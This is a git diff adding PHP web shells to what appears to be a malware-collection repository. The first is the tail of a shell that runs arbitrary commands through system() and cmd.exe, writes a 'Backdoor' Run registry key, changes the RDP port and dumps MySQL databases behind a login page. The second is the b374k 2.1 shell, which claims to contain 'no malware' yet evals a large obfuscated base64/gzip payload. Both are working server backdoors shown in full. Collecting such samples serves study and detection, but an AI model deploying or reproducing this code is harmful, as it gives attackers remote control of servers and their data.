WSHSHELL failed"); + $exec = $wsh->exec ("cm"."d.e"."xe /c ".$_POST['command'].""); + $stdout = $exec->StdOut(); + $stroutput = $stdout->ReadAll(); + echo $stroutput; + } else { + system($_POST['command']); + } + } + ?></textarea></td> + </tr> + </form> +</table> +<?php +}//end shell + +elseif ($_GET['action'] == "reg") { + $action = '?action=reg'; + $regname = isset($_POST['regname']) ? $_POST['regname'] : 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp\PortNumber'; + $registre = isset($_POST['registre']) ? $_POST['registre'] : 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Backdoor'; + $regval = isset($_POST['regval']) ? $_POST['regval'] : 'c:\winnt\backdoor.exe'; + $delregname = $_POST['delregname']; + $tb->tableheader(); + $tb->formheader($action,'?E? ????'); + $tb->tdbody('C????: '.$tb->makeinput('readregname',$regname,'','text','100').' '.$tb->makeinput('regread','???','','submit'),'center','2','50'); + echo "</form>"; + + $tb->formheader($action,'EC?I??'); + $cacheregtype = array('REG_SZ'=>'REG_SZ','REG_BINARY'=>'REG_BINARY','REG_DWORD'=>'REG_DWORD','REG_MULTI_SZ'=>'REG_MULTI_SZ','REG_EXPAND_SZ'=>'REG_EXPAND_SZ'); + $tb->tdbody('C????: '.$tb->makeinput('writeregname',$registre,'','text','56').' Selct Taype: '.$tb->makeselect(array('name'=>'regtype','option'=>$cacheregtype,'selected'=>$regtype)).' C???C?: '.$tb->makeinput('regval',$regval,'','text','15').' '.$tb->makeinput('regwrite','???','','submit'),'center','2','50'); + echo "</form>"; + + $tb->formheader($action,'???'); + $tb->tdbody('C????: '.$tb->makeinput('delregname',$delregname,'','text','100').' '.$tb->makeinput('regdelete','???','','submit'),'center','2','50'); + echo "</form>"; + $tb->tablefooter(); +}//end reg + +elseif ($_GET['action'] == "proxy") { + $action = '?action=proxy'; + $tb->tableheader(); + $tb->formheader($action,'E?????','proxyframe'); + $tb->tdbody('<br><ul><li>E?E??? E??EE ? ??EIIC? ??C C?E?????</li><li>MoSt3mRE???E ?E???? </li><li> '.$_SERVER['REMOTE_ADDR'].'</li></ul>','left'); + $tb->tdbody('URL: '.$tb->makeinput('url','http://www.hackers-world.net','','text','100').' '.$tb->makeinput('','???','','submit'),'center','1','40'); + $tb->tdbody('<iframe name="proxyframe" frameborder="0" width="765" height="400" marginheight="0" marginwidth="0" scrolling="auto" src="http://www.4ngel.net"></iframe>'); + echo "</form>"; + $tb->tablefooter(); +}//end proxy + +elseif ($_GET['action'] == "sql") { + $action = '?action=sql'; + $servername = isset($_POST['servername']) ? $_POST['servername'] : 'localhost'; + $dbusername = isset($_POST['dbusername']) ? $_POST['dbusername'] : 'root'; + $dbpassword = $_POST['dbpassword']; + $dbname = $_POST['dbname']; + $sql_query = $_POST['sql_query']; + $tb->tableheader(); + $tb->formheader($action,'SQL QUERY'); + $tb->tdbody('Host: '.$tb->makeinput('servername',$servername,'','text','20').' User: '.$tb->makeinput('dbusername',$dbusername,'','text','15').' Pass: '.$tb->makeinput('dbpassword',$dbpassword,'','text','15').' DB: '.$tb->makeinput('dbname',$dbname,'','text','15').' '.$tb->makeinput('connect','Connect','','submit')); + $tb->tdbody($tb->maketextarea('sql_query',$sql_query,'85','10')); + $tb->makehidden('do','query'); + $tb->formfooter('1','30'); +}//end sql query + +elseif ($_GET['action'] == "sqlbak") { + $action = '?action=sqlbak'; + $servername = isset($_POST['servername']) ? $_POST['servername'] : 'localhost'; + $dbusername = isset($_POST['dbusername']) ? $_POST['dbusername'] : 'root'; + $dbpassword = $_POST['dbpassword']; + $dbname = $_POST['dbname']; + $tb->tableheader(); + $tb->formheader($action,'?I? ??I? ?? ?C?IE C?E?C?CE'); + $tb->tdbody('Host: '.$tb->makeinput('servername',$servername,'','text','20').' User: '.$tb->makeinput('dbusername',$dbusername,'','text','15').' Pass: '.$tb->makeinput('dbpassword',$dbpassword,'','text','15').' DB: '.$tb->makeinput('dbname',$dbname,'','text','15').' '.$tb->makeinput('connect','?E??','','submit')); + @mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname); + $tables = @mysql_list_tables($dbname); + while ($table = @mysql_fetch_row($tables)) { + $cachetables[$table[0]] = $table[0]; + } + @mysql_free_result($tables); + if (empty($cachetables)) { + $tb->tdbody('<b></b>'); + } else { + $tb->tdbody('<table border="0" cellpadding="3" cellspacing="1"><tr><td valign="top">?C??E C??IC??:</td><td>'.$tb->makeselect(array('name'=>'table[]','option'=>$cachetables,'multiple'=>1,'size'=>15,'css'=>1)).'</td></tr><tr nowrap><td><input type="radio" name="backuptype" value="server" checked> ??? E??I ?? EI?? C???I? ?? C??C?IE:</td><td>'.$tb->makeinput('path',$pathname.'/'.$_SERVER['HTTP_HOST'].'_MySQL.sql','','text','50').'</td></tr><tr nowrap><td colspan="2"><input type="radio" name="backuptype" value="download"> ??U C???I? ?? C??C?IE ??? C???C?</td></tr></table>'); + $tb->makehidden('do','backupmysql'); + $tb->formfooter('0','30'); + } + $tb->tablefooter(); + @mysql_close(); +}//end sql backup + +elseif ($_GET['action'] == "phpenv") { + $upsize=get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "��OE??EI��"; + $adminmail=(isset($_SERVER['SERVER_ADMIN'])) ? "<a href=\"mailto:".$_SERVER['SERVER_ADMIN']."\">".$_SERVER['SERVER_ADMIN']."</a>" : "<a href=\"mailto:".get_cfg_var("sendmail_from")."\">".get_cfg_var("sendmail_from")."</a>"; + if ($dis_func == "") { + $dis_func = "No"; + }else { + $dis_func = str_replace(" ","<br>",$dis_func); + $dis_func = str_replace(",","<br>",$dis_func); + } + $phpinfo=(!eregi("phpinfo",$dis_func)) ? "Yes" : "No"; + $info = array( + 0 => array("??E ??OC? C??????",date("Y?�mOAdE? h:i:s",time())), + 1 => array("??? C??????","<a href=\"http://".$_SERVER['SERVER_NAME']."\" target=\"_blank\">".$_SERVER['SERVER_NAME']."</a>"), + 2 => array("??? C??? E? ???????",gethostbyname($_SERVER['SERVER_NAME'])), + 3 => array("C????",PHP_OS), + 5 => array("C??UE",$_SERVER['HTTP_ACCEPT_LANGUAGE']), + 6 => array("?UC? C??????",$_SERVER['SERVER_SOFTWARE']), + 7 => array("???? C??????",$_SERVER['SERVER_PORT']), + 8 => array("??? C??UC?",strtoupper(php_sapi_name())), + 9 => array("??IC? C??UC?",PHP_VERSION), + 10 => array("C???? C?A??",getphpcfg("safemode")), + 11 => array("????? C??I??",$adminmail), + 12 => array("???C? C?O?",__FILE__), + + 13 => array("allow url fopen",getphpcfg("allow_url_fopen")), + 14 => array("enable dl",getphpcfg("enable_dl")), + 15 => array("display errors",getphpcfg("display_errors")), + 16 => array("register globals",getphpcfg("register_globals")), + 17 => array("magic quotes gpc",getphpcfg("magic_quotes_gpc")), + 18 => array("memory limit",getphpcfg("memory_limit")), + 19 => array("post max size",getphpcfg("post_max_size")), + 20 => array("upload max filesize",$upsize), + 21 => array("max execution time",getphpcfg("max_execution_time")."?�"), + 22 => array("disable functions",$dis_func), + 23 => array("phpinfo()",$phpinfo), + 24 => array("diskfreespace",intval(diskfreespace(".") / (1024 * 1024)).'Mb'), + + 25 => array("GD Library",getfun("imageline")), + 26 => array("IMAP",getfun("imap_close")), + 27 => array("MySQL",getfun("mysql_close")), + 28 => array("SyBase",getfun("sybase_close")), + 29 => array("Oracle",getfun("ora_close")), + 30 => array("Oracle 8 ",getfun("OCILo???ff")), + 31 => array("PREL",getfun("preg_match")), + 32 => array("PDF",getfun("pdf_close")), + 33 => array("Postgre SQL",getfun("pg_close")), + 34 => array("SNMP",getfun("snmpget")), + 35 => array("(Zlib)",getfun("gzclose")), + 36 => array("XML",getfun("xml_set_object")), + 37 => array("FTP",getfun("ftp_login")), + 38 => array("ODBC",getfun("odbc_close")), + 39 => array("Session",getfun("session_start")), + 40 => array("Socket",getfun("fsockopen")), + ); + + $tb->tableheader(); + echo "<form action=\"?action=phpenv\" method=\"POST\">\n"; + $tb->tdbody('<b></b>','left','1','30','style="padding-left: 5px;"'); + $tb->tdbody('C:magic_quotes_gpc): '.$tb->makeinput('phpvarname','','','text','40').' '.$tb->makeinput('','???','','submit'),'left','2','30','style="padding-left: 5px;"'); + $tb->makehidden('do','viewphpvar'); + echo "</form>\n"; + $hp = array(0=> '�?I??�???O', 1=> '?????CE ?? C??????', 2=> ''); + for ($a=0;$a<3;$a++) { + $tb->tdbody('<b>'.$hp[1].'</b>','left','1','30','style="padding-left: 5px;"'); +?> + <tr class="secondalt"> + <td> + <table width="100%" border="0" cellpadding="0" cellspacing="0"> +<?php + if ($a==0) { + for($i=0;$i<=12;$i++) { + echo "<tr><td width=40% style=\"padding-left: 5px;\">".$info[$i][0]."</td><td>".$info[$i][1]."</td></tr>\n"; + } + } elseif ($a == 1) { + for ($i=13;$i<=24;$i++) { + echo "<tr><td width=40% style=\"padding-left: 5px;\">".$info[$i][0]."</td><td>".$info[$i][1]."</td></tr>\n"; + } + } elseif ($a == 2) { + for ($i=25;$i<=40;$i++) { + echo "<tr><td width=40% style=\"padding-left: 5px;\">".$info[$i][0]."</td><td>".$info[$i][1]."</td></tr>\n"; + } + } +?> + </table> + </td> + </tr> +<?php + }//for +echo "</table>"; +}//end phpenv +?> +<hr width="775" noshade> +<table width="775" border="0" cellpadding="0"> + <tr> + <td>Copyright (C) 2004 Security Angel Team [S4T] All Rights Reserved.</td> + <td align="right"><?php + debuginfo(); + ob_end_flush(); + ?></td> + </tr> +</table> +</center> +</body> +</html> + +<?php + + + function loginpage() { +?> +<span style="font-size: 15px; font-family: Verdana">Hi plz reat the pass word to acsess </span> +<style type="text/css"> +input {font-family: "Verdana";font-size: "11px";BACKGROUND-COLOR: "#FFFFFF";height: "18px";border: "1px solid #666666";} +</style> +<form method="POST" action=""> +<span style="font-size: 11px; font-family: Verdana">Password: </span><input name="adminpass" type="password" size="20"> +<input type="hidden" name="do" value="login"> +<input type="submit" value="Login"> +</form> +<span style="font-size: 15px; font-family: Verdana">MoSt3mR WaZ HeR </span> +<?php + exit; + }//end loginpage() + + + function debuginfo() { + global $starttime; + $mtime = explode(' ', microtime()); + $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6); + echo "Processed in $totaltime second(s)"; + } + + function stripslashes_array(&$array) { + while(list($key,$var) = each($array)) { + if ($key != 'argc' && $key != 'argv' && (strtoupper($key) != $key || ''.intval($key) == "$key")) { + if (is_string($var)) { + $array[$key] = stripslashes($var); + } + if (is_array($var)) { + $array[$key] = stripslashes_array($var); + } + } + } + return $array; + } + + function deltree($deldir) { + $mydir=@dir($deldir); + while($file=$mydir->read()) { + if((is_dir("$deldir/$file")) AND ($file!=".") AND ($file!="..")) { + @chmod("$deldir/$file",0777); + deltree("$deldir/$file"); + } + if (is_file("$deldir/$file")) { + @chmod("$deldir/$file",0777); + @unlink("$deldir/$file"); + } + } + $mydir->close(); + @chmod("$deldir",0777); + return (@rmdir($deldir)) ? 1 : 0; + } + + function dir_writeable($dir) { + if (!is_dir($dir)) { + @mkdir($dir, 0777); + } + if(is_dir($dir)) { + if ($fp = @fopen("$dir/test.txt", 'w')) { + @fclose($fp); + @unlink("$dir/test.txt"); + $writeable = 1; + } else { + $writeable = 0; + } + } + return $writeable; + } + + function getrowbg() { + global $bgcounter; + if ($bgcounter++%2==0) { + return "firstalt"; + } else { + return "secondalt"; + } + } + + function getPath($mainpath, $relativepath) { + global $dir; + $mainpath_info = explode('/', $mainpath); + $relativepath_info = explode('/', $relativepath); + $relativepath_info_count = count($relativepath_info); + for ($i=0; $i<$relativepath_info_count; $i++) { + if ($relativepath_info[$i] == '.' || $relativepath_info[$i] == '') continue; + if ($relativepath_info[$i] == '..') { + $mainpath_info_count = count($mainpath_info); + unset($mainpath_info[$mainpath_info_count-1]); + continue; + } + $mainpath_info[count($mainpath_info)] = $relativepath_info[$i]; + } //end for + return implode('/', $mainpath_info); + } + + function getphpcfg($varname) { + switch($result = get_cfg_var($varname)) { + case 0: + return "No"; + break; + case 1: + return "Yes"; + break; + default: + return $result; + break; + } + } + + function getfun($funName) { + return (false !== function_exists($funName)) ? "Yes" : "No"; + } + + class PHPZip{ + var $out=''; + function PHPZip($dir) { + if (@function_exists('gzcompress')) { + $curdir = getcwd(); + if (is_array($dir)) $filelist = $dir; + else{ + $filelist=$this -> GetFileList($dir);//I?�???�? + foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1); + } + if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir); + else chdir($curdir); + if (count($filelist)>0){ + foreach($filelist as $filename){ + if (is_file($filename)){ + $fd = fopen ($filename, "r"); + $content = @fread ($fd, filesize ($filename)); + fclose ($fd); + if (is_array($dir)) $filename = basename($filename); + $this -> addFile($content, $filename); + } + } + $this->out = $this -> file(); + chdir($curdir); + } + return 1; + } + else return 0; + } + + function GetFileList($dir){ + static $a; + if (is_dir($dir)) { + if ($dh = opendir($dir)) { + while (($file = readdir($dh)) !== false) { + if($file!='.' && $file!='..'){ + $f=$dir .'/'. $file; + if(is_dir($f)) $this->GetFileList($f); + $a[]=$f; + } + } + closedir($dh); + } + } + return $a; + } + + var $datasec = array(); + var $ctrl_dir = array(); + var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; + var $old_offset = 0; + + function unix2DosTime($unixtime = 0) { + $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); + if ($timearray['year'] < 1980) { + $timearray['year'] = 1980; + $timearray['mon'] = 1; + $timearray['mday'] = 1; + $timearray['hours'] = 0; + $timearray['minutes'] = 0; + $timearray['seconds'] = 0; + } // end if + return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | + ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); + } + + function addFile($data, $name, $time = 0) { + $name = str_replace('\\', '/', $name); + + $dtime = dechex($this->unix2DosTime($time)); + $hexdtime = '\x' . $dtime[6] . $dtime[7] + . '\x' . $dtime[4] . $dtime[5] + . '\x' . $dtime[2] . $dtime[3] + . '\x' . $dtime[0] . $dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + $fr = "\x50\x4b\x03\x04"; + $fr .= "\x14\x00"; + $fr .= "\x00\x00"; + $fr .= "\x08\x00"; + $fr .= $hexdtime; + + $unc_len = strlen($data); + $crc = crc32($data); + $zdata = gzcompress($data); + $c_len = strlen($zdata); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + $fr .= pack('v', strlen($name)); + $fr .= pack('v', 0); + $fr .= $name; + + $fr .= $zdata; + + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + + $this -> datasec[] = $fr; + $new_offset = strlen(implode('', $this->datasec)); + + $cdrec = "\x50\x4b\x01\x02"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x14\x00"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x08\x00"; + $cdrec .= $hexdtime; + $cdrec .= pack('V', $crc); + $cdrec .= pack('V', $c_len); + $cdrec .= pack('V', $unc_len); + $cdrec .= pack('v', strlen($name) ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('V', 32 ); + $cdrec .= pack('V', $this -> old_offset ); + $this -> old_offset = $new_offset; + $cdrec .= $name; + + $this -> ctrl_dir[] = $cdrec; + } + + function file() { + $data = implode('', $this -> datasec); + $ctrldir = implode('', $this -> ctrl_dir); + return + $data . + $ctrldir . + $this -> eof_ctrl_dir . + pack('v', sizeof($this -> ctrl_dir)) . + pack('v', sizeof($this -> ctrl_dir)) . + pack('V', strlen($ctrldir)) . + pack('V', strlen($data)) . + "\x00\x00"; + } + } + + function sqldumptable($table, $fp=0) { + $tabledump = "DROP TABLE IF EXISTS $table;\n"; + $tabledump .= "CREATE TABLE $table (\n"; + + $firstfield=1; + + $fields = mysql_query("SHOW FIELDS FROM $table"); + while ($field = mysql_fetch_array($fields)) { + if (!$firstfield) { + $tabledump .= ",\n"; + } else { + $firstfield=0; + } + $tabledump .= " $field[Field] $field[Type]"; + if (!empty($field["Default"])) { + $tabledump .= " DEFAULT '$field[Default]'"; + } + if ($field['Null'] != "YES") { + $tabledump .= " NOT NULL"; + } + if ($field['Extra'] != "") { + $tabledump .= " $field[Extra]"; + } + } + mysql_free_result($fields); + + $keys = mysql_query("SHOW KEYS FROM $table"); + while ($key = mysql_fetch_array($keys)) { + $kname=$key['Key_name']; + if ($kname != "PRIMARY" and $key['Non_unique'] == 0) { + $kname="UNIQUE|$kname"; + } + if(!is_array($index[$kname])) { + $index[$kname] = array(); + } + $index[$kname][] = $key['Column_name']; + } + mysql_free_result($keys); + + while(list($kname, $columns) = @each($index)) { + $tabledump .= ",\n"; + $colnames=implode($columns,","); + + if ($kname == "PRIMARY") { + $tabledump .= " PRIMARY KEY ($colnames)"; + } else { + if (substr($kname,0,6) == "UNIQUE") { + $kname=substr($kname,7); + } + $tabledump .= " KEY $kname ($colnames)"; + } + } + + $tabledump .= "\n);\n\n"; + if ($fp) { + fwrite($fp,$tabledump); + } else { + echo $tabledump; + } + + $rows = mysql_query("SELECT * FROM $table"); + $numfields = mysql_num_fields($rows); + while ($row = mysql_fetch_array($rows)) { + $tabledump = "INSERT INTO $table VALUES("; + + $fieldcounter=-1; + $firstfield=1; + while (++$fieldcounter<$numfields) { + if (!$firstfield) { + $tabledump.=", "; + } else { + $firstfield=0; + } + + if (!isset($row[$fieldcounter])) { + $tabledump .= "NULL"; + } else { + $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'"; + } + } + + $tabledump .= ");\n"; + + if ($fp) { + fwrite($fp,$tabledump); + } else { + echo $tabledump; + } + } + mysql_free_result($rows); + } + + class FORMS { + function tableheader() { + echo "<table width=\"775\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" bgcolor=\"#ffffff\">\n"; + } + + function headerform($arg=array()) { + global $dir; + if ($arg[enctype]){ + $enctype="enctype=\"$arg[enctype]\""; + } else { + $enctype=""; + } + if (!isset($arg[method])) { + $arg[method] = "POST"; + } + if (!isset($arg[action])) { + $arg[action] = ''; + } + echo " <form action=\"".$arg[action]."\" method=\"".$arg[method]."\" $enctype>\n"; + echo " <tr>\n"; + echo " <td>".$arg[content]."</td>\n"; + echo " </tr>\n"; + echo " </form>\n"; + } + + function tdheader($title) { + global $dir; + echo " <tr class=\"firstalt\">\n"; + echo " <td align=\"center\"><b>".$title." [<a href=\"?dir=".urlencode($dir)."\"></b></td>\n"; + echo " </tr>\n"; + } + + function tdbody($content,$align='center',$bgcolor='2',$height='',$extra='',$colspan='') { + if ($bgcolor=='2') { + $css="secondalt"; + } elseif ($bgcolor=='1') { + $css="firstalt"; + } else { + $css=$bgcolor; + } + $height = empty($height) ? "" : " height=".$height; + $colspan = empty($colspan) ? "" : " colspan=".$colspan; + echo " <tr class=\"".$css."\">\n"; + echo " <td align=\"".$align."\"".$height." ".$colspan." ".$extra.">".$content."</td>\n"; + echo " </tr>\n"; + } + + function tablefooter() { + echo "</table>\n"; + } + + function formheader($action='',$title,$target='') { + global $dir; + $target = empty($target) ? "" : " target=\"".$target."\""; + echo " <form action=\"$action\" method=\"POST\"".$target.">\n"; + echo " <tr class=\"firstalt\">\n"; + echo " <td align=\"center\"><b>".$title." [<a href=\"?dir=".urlencode($dir)."\">C????? ???C??E</a>]??</b></td>\n"; + echo " </tr>\n"; + } + + function makehidden($name,$value=''){ + echo "<input type=\"hidden\" name=\"$name\" value=\"$value\">\n"; + } + + function makeinput($name,$value='',$extra='',$type='text',$size='30',$css='input'){ + $css = ($css == 'input') ? " class=\"input\"" : ""; + $input = "<input name=\"$name\" value=\"$value\" type=\"$type\" ".$css." size=\"$size\" $extra>\n"; + return $input; + } + + function maketextarea($name,$content='',$cols='100',$rows='20',$extra=''){ + $textarea = "<textarea name=\"".$name."\" cols=\"".$cols."\" rows=\"".$rows."\" ".$extra.">".$content."</textarea>\n"; + return $textarea; + } + + function formfooter($over='',$height=''){ + $height = empty($height) ? "" : " height=\"".$height."\""; + echo " <tr class=\"secondalt\">\n"; + echo " <td align=\"center\"".$height."><input class=\"input\" type=\"submit\" value=\"???\"></td>\n"; + echo " </tr>\n"; + echo " </form>\n"; + echo $end = empty($over) ? "" : "</table>\n"; + } + + function makeselect($arg = array()){ + if ($arg[multiple]==1) { + $multiple = " multiple"; + if ($arg[size]>0) { + $size = "size=$arg[size]"; + } + } + if ($arg[css]==0) { + $css = "class=\"input\""; + } + $select = "<select $css name=\"$arg[name]\"$multiple $size>\n"; + if (is_array($arg[option])) { + foreach ($arg[option] AS $key=>$value) { + if (!is_array($arg[selected])) { + if ($arg[selected]==$key) { + $select .= "<option value=\"$key\" selected>$value</option>\n"; + } else { + $select .= "<option value=\"$key\">$value</option>\n"; + } + + } elseif (is_array($arg[selected])) { + if ($arg[selected][$key]==1) { + $select .= "<option value=\"$key\" selected>$value</option>\n"; + } else { + $select .= "<option value=\"$key\">$value</option>\n"; + } + } + } + } + $select .= "</select>\n"; + return $select; + } + } +?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/b37.php b/web-malware-collection-master/Backdoors/PHP/b37.php new file mode 100755 index 0000000..7e27b02 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/b37.php @@ -0,0 +1,266 @@ +<?php + +//*********************************************************************************************************************/ +// b374k 2.1 +// no malware on this code, you can check it by yourself ;-) +// +// +// encrypt your password to md5 here http://kerinci.net/?x=decode + +$s_pass = "2cf1656ed3df6864df08feaf603ebe13"; // password (default is: kerinci) + +eval("?>".gzinflate(base64_decode("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 